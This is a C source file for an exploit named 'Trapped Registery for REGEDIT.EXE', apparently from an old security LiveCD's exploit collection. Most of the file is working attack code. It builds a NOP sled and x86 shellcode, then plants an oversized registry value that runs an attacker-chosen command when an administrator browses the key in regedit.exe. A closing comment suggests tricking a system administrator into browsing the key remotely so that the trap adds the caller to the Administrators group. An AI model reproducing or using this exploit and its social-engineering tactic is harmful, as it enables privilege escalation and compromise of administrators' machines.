home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / local / TrapReg.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  7KB  |  229 lines

  1. /**************************************************
  2. 09/04/2003
  3. @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  4. @ Trapped Registery for REGEDIT.EXE exploit @
  5. @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  6. +++++++++++++++++++++++++++++++++++++++++++++
  7. +                                           +
  8. +       Discovered & coded By ThreaT        +
  9. +                                           +
  10. +++++++++++++++++++++++++++++++++++++++++++++
  11.  
  12. Contact : ThreaT@Ifrance.com
  13. URL     : http://www.chez.com/mvm
  14.  
  15. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  16. This is a NEW exploit for a NEW vulnerability
  17. in REGEDIT.EXE !
  18.  
  19. This one trap a KEY in the registery, that 
  20. when a non informed user just try to BROWSE IT
  21. with REGEDIT.EXE (localy or REMOTELY !) execute
  22. an arbitrary command defined by attacker
  23. without its knowledge !
  24.  
  25. The vulnerabitily appear to be in a RegEnumValueW
  26. function misused in regedit.exe
  27.  
  28. By precaution, I council to use regedt32.exe
  29. for your future registery manipulation.
  30.  
  31. This exploit as been tested on Win2K (fr) SP0,2,3,
  32. and work with a local and remote browse of a 
  33. trapped registery.
  34.  
  35. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  36. compile -> cl /nologo TrapReg.c /link advapi32.lib
  37. ***************************************************/
  38.  
  39. #include <windows.h>
  40.  
  41. #define taille 620
  42. #define mastar 1000
  43. #define MaxCommandLen 135
  44. #define DefaultKey "HKEY_LOCAL_MACHINE"
  45.  
  46. HKEY RootHandle (const char *ROOTKEY)
  47.  
  48.  int indice;
  49.  
  50.  struct _HandleKey {
  51.   HKEY RK;
  52.   char *KeyName;
  53.  } HandleKey[5] = {
  54.   {HKEY_CLASSES_ROOT, "HKEY_CLASSES_ROOT"},
  55.   {HKEY_CURRENT_USER, "HKEY_CURRENT_USER"},
  56.   {HKEY_LOCAL_MACHINE,"HKEY_LOCAL_MACHINE"},
  57.   {HKEY_USERS,        "HKEY_USERS"},
  58.   {NULL,'\0'},
  59.  };
  60.  
  61.  for (indice=0; HandleKey[indice].RK ; indice++)
  62.   if (!lstrcmpi (HandleKey[indice].KeyName,ROOTKEY))
  63.    return HandleKey[indice].RK;
  64.  
  65.  printf ("'%s' is an unknow RootKey! You can only work with the following :\n"
  66.   "- HKEY_CLASSES_ROOT\n"
  67.   "- HKEY_CURRENT_USER\n"
  68.   "- HKEY_LOCAL_MACHINE\n"
  69.   "- HKEY_USERS\n",ROOTKEY);
  70.  
  71.  ExitProcess (0);
  72.  return NULL;
  73.  
  74.  
  75.  
  76. void main (int argc, char *argv[])
  77.  
  78.  
  79.  HKEY TrapedKey;
  80.  
  81.  char shellcode[] = 
  82.  
  83.  "\x50\xFC\x06\x00"
  84.  
  85.  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  86.  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  87.  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  88.  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  89.  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  90.  
  91.  "\xEB\x69\x6A\x30\x5B\x64\x8B\x03\x8B\x40\x0C\x8B\x48\x0C\x8B\xC1" 
  92.  "\x8B\x70\x30\x80\x3E\x4B\x75\x4A\x8B\x40\x18\x8B\x58\x3C\x03\xD8" 
  93.  "\x8B\x5B\x78\x03\xD8\x8B\x73\x1C\x03\xF0\x56\x8B\x73\x24\x03\xF0" 
  94.  "\x56\x8B\x53\x20\x03\xD0\x8B\x5B\x18\x4B\x8B\x34\x9A\x03\xF0\x03" 
  95.  "\x74\x24\x10\x8B\x36\x39\x74\x24\x0C\x74\x08\x4B\x23\xDB\x75\xEA" 
  96.  "\x58\x58\xC3\x5F\x33\xC9\x66\x8B\x0C\x5F\x5F\x8B\x3C\x8F\x8D\x04" 
  97.  "\x07\xC3\x8B\x18\x39\x08\x8B\xC3\x75\xA6\xC3\xEB\x22\x6A\x01\x68" 
  98.  "\x69\x6E\x45\x78\xE8\x89\xFF\xFF\xFF\x6A\x01\xFF\x74\x24\x0C\xFF"
  99.  "\xD0\x6A\x01\x68\x78\x69\x74\x50\xE8\x75\xFF\xFF\xFF\xFF\xD0\xE8"
  100.  "\xD9\xFF\xFF\xFF",
  101.  
  102.  *VulnBuff, *YourKey=NULL, *p=NULL, Data[] = "Mouarf";
  103.  
  104.  LONG ret;
  105.  int i;
  106.  
  107.  
  108.  printf ("###########################################\n"
  109.   "Trapped Registery for REGEDIT.EXE exploit !\n"
  110.   "###########################################\n"
  111.   "Discovered & coded by ThreaT.\n\n"
  112.   "URL  : http://www.chez.com/mvm\n"
  113.   "MAIL : ThreaT@Ifrance.com\n\n");
  114.  
  115.  if (argc < 2 || strlen (argv[1]) > MaxCommandLen)
  116.  {
  117.   printf ("Usage : TrapReg.exe <command to be executed> [Key to trap]\n\n"
  118.  
  119.    "+ The first argument define the command to execute when our\n"
  120.    "  favourit administrator will browse our trapped key :p\n\n"
  121.     
  122.    "+ The second argument is optional, you can specify with it the\n"
  123.    "  path of the key to trap. (default is HKEY_LOCAL_MACHINE).\n\n"
  124.  
  125.    "The command to be executed cannot exceed %u caracters.\n",MaxCommandLen);
  126.  
  127.   ExitProcess (0);
  128.  }
  129.  
  130.  
  131.  if (!(VulnBuff = (char *) LocalAlloc (LPTR, mastar)))
  132.  {
  133.   printf ("Cannot allocat memory for making the evil buff !\n");
  134.   ExitProcess (0);
  135.  }
  136.  
  137.  i = sizeof (shellcode);
  138.  
  139.  memset (VulnBuff,0x90,taille);
  140.  memcpy (&VulnBuff[taille],shellcode,i);
  141.  lstrcpyn (&VulnBuff[taille+i-1],argv[1],MaxCommandLen);
  142.  
  143.  if (argc > 2)
  144.  {
  145.   i = lstrlen (argv[2]);
  146.   if ( !(YourKey = LocalAlloc (LPTR,i+2)) )
  147.   {
  148.    printf ("Cannot allocat memory for store the name of key to trap !\n");
  149.    ExitProcess (0);
  150.   }
  151.  
  152.   lstrcpyn (YourKey,argv[2],i+1);
  153.  
  154.   if (p = strchr (YourKey, 0x5C))
  155.    p[0]=0x00;
  156.  }
  157.  
  158.  ret = RegOpenKeyEx (YourKey ? RootHandle (YourKey) : RootHandle (DefaultKey),
  159.   p ? ++p : "", 0 , KEY_ALL_ACCESS, &TrapedKey);
  160.  
  161.  if (ret != ERROR_SUCCESS)
  162.  {
  163.   printf ("Cannot open '%s' for trap it !\n"
  164.    "See error code number %u for more details.\n",
  165.     YourKey ? argv[2] : DefaultKey , ret);
  166.   ExitProcess (0);
  167.  }
  168.  
  169.  ret = RegSetValueExW (TrapedKey,(const unsigned short *)VulnBuff,0,REG_SZ,(CONST BYTE *)&Data,mastar);
  170.  
  171.  if (ret == ERROR_SUCCESS)
  172.  {
  173.   printf ("'%s' is now trapped for execute '%s' "
  174.    "when our favourite administrator will browse it whith REGEDIT.EXE :p\n",
  175.    YourKey ? argv[2] : DefaultKey , argv[1]);
  176.  
  177.  } else printf ("Cannot write evil value to trap the registery !\n"
  178.      "See error code number %u for more details.\n",ret);
  179.  
  180.  RegCloseKey (TrapedKey);
  181.  
  182.  
  183. /************************************************************************
  184.  
  185.   a simple methode for test if your system is vulnerable 
  186.   to the 'Trapped Registery for REGEDIT.EXE exploit' !
  187.  
  188.   after a succesfull compilation of the xploit, type the following
  189.   command on a cmd prompt shell :
  190.  
  191. --
  192. D:\code\exploits>TrapReg.exe "cmd /c echo WARRNING! you are vulnerable to the 
  193. Trapped Registery for REGEDIT.EXE exploit! > c:\a.txt & c:\a.txt" HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft
  194.  
  195. ###########################################
  196. Trapped Registery for REGEDIT.EXE exploit !
  197. ###########################################
  198. Discovered & coded by ThreaT.
  199.  
  200. URL  : http://www.chez.com/mvm
  201. MAIL : ThreaT@Ifrance.com
  202.  
  203. 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft' is now trapped for execute 'cmd /c echo
  204. WARRNING! you are vulnerable to the Trapped Registery for REGEDIT.EXE exploit! >
  205.  c:\a.txt & c:\a.txt' when our favourite administrator will browse it whith REGEDIT.EXE :p
  206.  
  207. D:\code\exploits>
  208. --
  209.  
  210.   Ok, everything seen to be good !
  211.   now, launch REGEDIT.exe and go to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft.
  212.  
  213.   If notepad (or your favourite text editor) appear with the sentence :
  214.   "WARRNING! you are vulnerable to the Trapped Registery for REGEDIT.EXE exploit!"
  215.  
  216.   use regedt32.exe until Microsoft release a patch for regedit.exe :)
  217.  
  218.  
  219.   For more fun, you can phone call your system administrator, and say him you have
  220.   a problem with your registery at this specific key.
  221.  
  222.   When he will try to browse it remotely with regedit.exe, our arbitrary command
  223.   will be executed to his computer with his privilege !
  224.  
  225.   So, nobody prevent you to trap your registery with a 'NET GROUP ADMINISTRATORS /ADD' :))
  226.  
  227. ************************************************************************************/
  228.  
  229.